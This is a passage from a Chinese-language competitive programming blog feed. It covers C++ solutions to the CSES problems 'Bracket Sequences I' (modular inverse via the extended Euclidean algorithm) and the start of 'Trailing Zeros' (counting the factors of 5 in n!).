class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌋</span></span></span></span><br>那我們怎麼求出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>x</mi><mo mathvariant="normal">′</mo></msup><mo separator="true">,</mo><msup><mi>y</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">x^\prime, y^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9463em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>呢？沒錯，用擴展歐幾里得演算法。(所以說是遞迴嘛)</p><p>欲遞迴，我們記得處理base case，函式才停得下來。最簡單的base case即當<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>b</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">b=0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>，返回<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mn>1</mn><mo separator="true">,</mo><mn>0</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)=(1,0)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0</span><span class="mclose">)</span></span></span></span>。<br>(因為輾轉相除法會一直做到整除，也就是最後一個<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>r</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">r=0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">r</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>為止)</p><p>以下程式：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span><span class="token keyword">using</span> <span class="token keyword">namespace</span> std<span class="token punctuation">;</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">ll</span> <span class="token expression"><span class="token keyword">long</span> <span class="token keyword">long</span></span></span>tuple<span class="token operator">&lt;</span>ll<span class="token punctuation">,</span> ll<span class="token punctuation">,</span> ll<span class="token operator">></span> <span class="token function">exgcd</span><span class="token punctuation">(</span>ll a<span class="token punctuation">,</span> ll b<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">if</span><span class="token punctuation">(</span>b<span class="token operator">==</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token punctuation">&#123;</span>a<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span>  <span class="token keyword">auto</span> <span class="token punctuation">[</span>gcd<span class="token punctuation">,</span> x1<span class="token punctuation">,</span> y1<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">exgcd</span><span class="token punctuation">(</span>b<span class="token punctuation">,</span> a<span class="token operator">%</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span>  ll x <span class="token operator">=</span> y1<span class="token punctuation">;</span>  ll y <span class="token operator">=</span> x1 <span class="token operator">-</span> <span class="token punctuation">(</span>a<span class="token operator">/</span>b<span class="token punctuation">)</span><span class="token operator">*</span>y1<span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token punctuation">&#123;</span>gcd<span class="token punctuation">,</span> x<span class="token punctuation">,</span> y<span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>好，但這跟我們求模反元素有什麼關係呢？請看以下：<br>因為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mo separator="true">,</mo><mi>M</mi></mrow><annotation encoding="application/x-tex">a,M</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">M</span></span></span></span>互質，我們可以用擴展歐幾里得演算法求出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo>∈</mo><mi mathvariant="double-struck">Z</mi></mrow><annotation encoding="application/x-tex">x,y\in\Z</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6889em;"></span><span class="mord mathbb">Z</span></span></span></span>使得</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>a</mi><mi>x</mi><mo>+</mo><mi>M</mi><mi>y</mi><mo>=</mo><mn>1</mn><mo>⇒</mo><mi>a</mi><mi>x</mi><mo>=</mo><mn>1</mn><mo>−</mo><mi>M</mi><mi>y</mi></mrow><annotation encoding="application/x-tex">ax+My=1\Rightarrow ax=1-My</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">M</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⇒</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">M</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span></span></p><p>兩邊同時模<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>M</mi></mrow><annotation encoding="application/x-tex">M</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">M</span></span></span></span>，瞬間得到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>即我們要找的模反元素。</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp">ll <span class="token function">invert</span><span class="token punctuation">(</span>ll a<span class="token punctuation">,</span> ll m<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">auto</span> <span class="token punctuation">[</span>gcd<span class="token punctuation">,</span> x<span class="token punctuation">,</span> y<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">exgcd</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> m<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>gcd <span class="token operator">!=</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token keyword">throw</span> <span class="token function">invalid_argument</span><span class="token punctuation">(</span><span class="token string">"Does not exist."</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// a, m互質才有模反元素</span>  <span class="token keyword">return</span> <span class="token punctuation">(</span>x<span class="token operator">%</span>m <span class="token operator">+</span> m<span class="token punctuation">)</span><span class="token operator">%</span>m<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="ac-code" tabindex="-1" id="AC-Code">AC Code</h2><p>好耶！我們將以上全部組合起來，得到以下：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span><span class="token keyword">using</span> <span class="token keyword">namespace</span> std<span class="token punctuation">;</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">ll</span> <span class="token expression"><span class="token keyword">long</span> <span class="token keyword">long</span></span></span><span class="token keyword">const</span> <span class="token keyword">int</span> M <span class="token operator">=</span> <span class="token number">1e9</span> <span class="token operator">+</span> <span class="token number">7</span><span class="token punctuation">;</span>tuple<span class="token operator">&lt;</span>ll<span class="token punctuation">,</span> ll<span class="token punctuation">,</span> ll<span class="token operator">></span> <span class="token function">exgcd</span><span class="token punctuation">(</span>ll a<span class="token punctuation">,</span> ll b<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">if</span><span class="token punctuation">(</span>b<span class="token operator">==</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token punctuation">&#123;</span>a<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span>  <span class="token keyword">auto</span> <span class="token punctuation">[</span>gcd<span class="token punctuation">,</span> x1<span class="token punctuation">,</span> y1<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">exgcd</span><span class="token punctuation">(</span>b<span class="token punctuation">,</span> a<span class="token operator">%</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span>  ll x <span class="token operator">=</span> y1<span class="token punctuation">;</span>  ll y <span class="token operator">=</span> x1 <span class="token operator">-</span> <span class="token punctuation">(</span>a<span class="token operator">/</span>b<span class="token punctuation">)</span><span class="token operator">*</span>y1<span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token punctuation">&#123;</span>gcd<span class="token punctuation">,</span> x<span class="token punctuation">,</span> y<span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span>ll <span class="token function">invert</span><span class="token punctuation">(</span>ll a<span class="token punctuation">,</span> ll m<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">auto</span> <span class="token punctuation">[</span>gcd<span class="token punctuation">,</span> x<span class="token punctuation">,</span> y<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">exgcd</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> m<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>gcd <span class="token operator">!=</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token keyword">throw</span> <span class="token function">invalid_argument</span><span class="token punctuation">(</span><span class="token string">"Does not exist."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token punctuation">(</span>x<span class="token operator">%</span>m <span class="token operator">+</span> m<span class="token punctuation">)</span><span class="token operator">%</span>m<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  ios<span class="token double-colon punctuation">::</span><span class="token function">sync_with_stdio</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">,</span> cin<span class="token punctuation">.</span><span class="token function">tie</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// IO加速</span>  <span class="token keyword">int</span> n<span class="token punctuation">;</span>  cin <span class="token operator">>></span> n<span class="token punctuation">;</span>  <span class="token keyword">if</span><span class="token punctuation">(</span>n <span class="token operator">%</span> <span class="token number">2</span> <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>cout <span class="token operator">&lt;&lt;</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span>  n <span class="token operator">/=</span> <span class="token number">2</span><span class="token punctuation">;</span>  ll den<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span> <span class="token comment">// 分母</span>  ll num<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span> <span class="token comment">// 分子</span>  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span>i<span class="token operator">&lt;=</span>n<span class="token punctuation">;</span>i<span class="token operator">++</span><span class="token punctuation">)</span> den <span class="token operator">=</span> <span class="token punctuation">(</span>den<span class="token operator">*</span>i<span class="token punctuation">)</span><span class="token operator">%</span>M<span class="token punctuation">;</span>  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span>n<span class="token operator">+</span><span class="token number">2</span><span class="token punctuation">;</span>i<span class="token operator">&lt;=</span><span class="token number">2</span><span class="token operator">*</span>n<span class="token punctuation">;</span>i<span class="token operator">++</span><span class="token punctuation">)</span> num <span class="token operator">=</span> <span class="token punctuation">(</span>num<span class="token operator">*</span>i<span class="token punctuation">)</span><span class="token operator">%</span>M<span class="token punctuation">;</span>  cout <span class="token operator">&lt;&lt;</span> <span class="token function">invert</span><span class="token punctuation">(</span>den<span class="token punctuation">,</span> M<span class="token punctuation">)</span><span class="token operator">*</span>num <span class="token operator">%</span> M<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>AC！收工！</p>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/06/01/CSES-Bracket-Sequences-I-%E9%A1%8C%E8%A7%A3/</id>
    <link href="https://r3xdj.pages.dev/2026/06/01/CSES-Bracket-Sequences-I-%E9%A1%8C%E8%A7%A3/"/>
    <published>2026-06-01T11:43:04.000Z</published>
    <summary>
      <![CDATA[<h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1>
<ul>
<li>Time limit: 1.00 s</li>
<li>Memory limit: 512 MB</li>
</ul>
<p>Your task is to ca]]>
    </summary>
    <title>CSES Bracket Sequences I 題解</title>
    <updated>2026-06-01T11:43:04.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="OI" scheme="https://r3xdj.pages.dev/categories/OI/"/>
    <category term="CSES" scheme="https://r3xdj.pages.dev/categories/OI/CSES/"/>
    <category term="Introductory Problems" scheme="https://r3xdj.pages.dev/categories/OI/CSES/Introductory-Problems/"/>
    <category term="math" scheme="https://r3xdj.pages.dev/tags/math/"/>
    <category term="C++" scheme="https://r3xdj.pages.dev/tags/C/"/>
    <category term="factorial" scheme="https://r3xdj.pages.dev/tags/factorial/"/>
    <content>
      <![CDATA[<h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1><ul><li>Time limit: 1.00 s</li><li>Memory limit: 512 MB</li></ul><p>Your task is to calculate the number of trailing zeros in the factorial n!.<br>For example, <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>20</mn><mo stretchy="false">!</mo><mo>=</mo><mn>2432902008176640000</mn></mrow><annotation encoding="application/x-tex">20!=2432902008176640000</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord">20</span><span class="mclose">!</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2432902008176640000</span></span></span></span> and it has <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>4</mn></mrow><annotation encoding="application/x-tex">4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span> trailing zeros.</p><table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td>The only input line has an integer <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>.</td><td>Print the number of trailing zeros in <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo stretchy="false">!</mo></mrow><annotation encoding="application/x-tex">n!</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">n</span><span class="mclose">!</span></span></span></span>.</td></tr></tbody></table><p>Constraints</p><ul><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>≤</mo><mi>n</mi><mo>≤</mo><msup><mn>10</mn><mn>9</mn></msup></mrow><annotation encoding="application/x-tex">1 \le n \le 10^9</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span></span></span></span></li></ul><p>Example:</p><table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td>20</td><td>4</td></tr></tbody></table><h1 id="%E8%A7%A3%E6%B3%95" tabindex="-1">解法</h1><h2 id="%E5%88%86%E6%9E%90" tabindex="-1" id="分析">分析</h2><p>這題十分經典，是要求<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo stretchy="false">!</mo></mrow><annotation encoding="application/x-tex">n!</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">n</span><span class="mclose">!</span></span></span></span>尾部有幾個<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>。<br>注意到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo stretchy="false">!</mo></mrow><annotation encoding="application/x-tex">n!</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">n</span><span class="mclose">!</span></span></span></span>尾部<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>的個數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>=</mo></mrow><annotation encoding="application/x-tex">=</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">=</span></span></span></span>滿足<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>10</mn><mi>k</mi></msup><mi mathvariant="normal">∣</mi><mi>n</mi><mo stretchy="false">!</mo></mrow><annotation encoding="application/x-tex">10^k | n!</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0991em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span><span class="mord">∣</span><span class="mord mathnormal">n</span><span class="mclose">!</span></span></span></span>的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>的最大值(也就是<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo stretchy="false">!</mo></mrow><annotation encoding="application/x-tex">n!</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">n</span><span class="mclose">!</span></span></span></span>能被<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>10</mn></mrow><annotation encoding="application/x-tex">10</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">10</span></span></span></span>整除幾次)<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>=</mo><mi>n</mi><mo stretchy="false">!</mo></mrow><annotation encoding="application/x-tex">=n!</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">n</span><span class="mclose">!</span></span></span></span>的質因數分解中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>5</mn></mrow><annotation encoding="application/x-tex">5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span>的次方數(因為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>10</mn><mo>=</mo><mn>2</mn><mo>⋅</mo><mn>5</mn></mrow><annotation encoding="application/x-tex">10=2\cdot 5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">10</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span>，而又顯然<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo stretchy="false">!</mo></mrow><annotation encoding="application/x-tex">n!</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">n</span><span class="mclose">!</span></span></span></span>的質因數分解中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>5</mn></mrow><annotation encoding="application/x-tex">5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span>的次數會比<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn></mrow><annotation encoding="application/x-tex">2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>來的少)</p><p>接著，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo stretchy="false">!</mo></mrow><annotation encoding="application/x-tex">n!</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">n</span><span class="mclose">!</span></span></span></span>的質因數分解中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>5</mn></mrow><annotation encoding="application/x-tex">5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span>的次數即為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>~<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>中每個數個別被<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>5</mn></mrow><annotation encoding="application/x-tex">5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span 